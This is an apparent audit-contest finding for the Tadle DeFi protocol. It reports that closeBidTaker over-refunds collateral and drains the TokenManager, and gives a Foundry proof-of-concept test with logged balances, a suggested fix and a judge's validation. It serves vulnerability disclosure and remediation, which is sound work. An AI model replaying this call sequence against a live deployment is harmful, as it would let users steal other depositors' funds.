Tadle

Tadle
DeFi
30,000 USDC
View results
Submission Details
Severity: high
Valid

closeBidTaker is draining TokenManager with every call

Summary

closeBidTaker is draining TokenManager with every call as it is refunding the collateralized amount of tokens to the takers, when they should receive only the amount they bid.

Vulnerability Details

Here is a coded POC:

function test_exploit() public {
vm.startPrank(user);
preMarktes.createOffer(CreateOfferParams(marketPlace, address(mockUSDCToken), 1000, 0.01 * 1e18, 11000, 300, OfferType.Ask, OfferSettleType.Protected));
address stockAddr = GenerateAddress.generateStockAddress(0);
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.stopPrank();
vm.startPrank(user1);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, 500);
vm.stopPrank();
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, 400);
vm.stopPrank();
vm.startPrank(user);
mockPointToken.approve(address(tokenManager), type(uint256).max);
preMarktes.abortAskOffer(stockAddr, offerAddr);
vm.stopPrank();
vm.startPrank(user1);
address stockAddr1 = GenerateAddress.generateStockAddress(1);
deliveryPlace.closeBidTaker(stockAddr1);
vm.stopPrank();
vm.startPrank(user2);
address stockAddr2 = GenerateAddress.generateStockAddress(2);
deliveryPlace.closeBidTaker(stockAddr2);
vm.stopPrank();
uint256 userMakerRefund = tokenManager.userTokenBalanceMap(address(user), address(mockUSDCToken), TokenBalanceType.MakerRefund);
console.log("The balance of maker in makerRefund is:", userMakerRefund);
uint256 userMakerRefund1 = tokenManager.userTokenBalanceMap(address(user), address(mockUSDCToken), TokenBalanceType.SalesRevenue);
console.log("The balance of maker in salsesRevenue is:", userMakerRefund1);
uint256 user1RemainingCash = tokenManager.userTokenBalanceMap(address(user1), address(mockUSDCToken), TokenBalanceType.RemainingCash);
console.log("The balance of user 1 in RemainingCash:", user1RemainingCash);
uint256 user2RemainingCash = tokenManager.userTokenBalanceMap(address(user2), address(mockUSDCToken), TokenBalanceType.RemainingCash);
console.log("The balance of user 2 in RemainingCash:", user2RemainingCash);
}

The results are:

Ran 1 test for test/PreMarkets.t.sol:PreMarketsTest
[PASS] test_exploit() (gas: 1305892)
Logs:
The balance of maker in makerRefund is: 2000000000000000
The balance of maker in salsesRevenue is: 9000000000000000
The balance of user 1 in RemainingCash: 5500000000000000
The balance of user 2 in RemainingCash: 4400000000000000

Remaining cash returned has added 10%

Impact

High

Tools Used

Manual review

Recommendations

Change the booleans in getDepositAmount here to false:

if (offerInfo.usedPoints > offerInfo.settledPoints) {
if (offerInfo.offerStatus == OfferStatus.Virgin) {
collateralFee = OfferLibraries.getDepositAmount(offerInfo.offerType, offerInfo.collateralRate, offerInfo.amount, true, Math.Rounding.Floor);
} else {
uint256 usedAmount = offerInfo.amount.mulDiv(offerInfo.usedPoints, offerInfo.points, Math.Rounding.Floor);
collateralFee = OfferLibraries.getDepositAmount(offerInfo.offerType, offerInfo.collateralRate, usedAmount, true, Math.Rounding.Floor);
}
}
Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-DeliveryPlace-settleAskTaker-closeBidTaker-wrong-makerinfo-token-address-addToken-balance

Valid high severity, In `settleAskTaker/closeBidTaker`, by assigning collateral token to user balance instead of point token, if collateral token is worth more than point, this can cause stealing of other users collateral tokens within the CapitalPool contract, If the opposite occurs, user loses funds based on the points they are supposed to receive

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.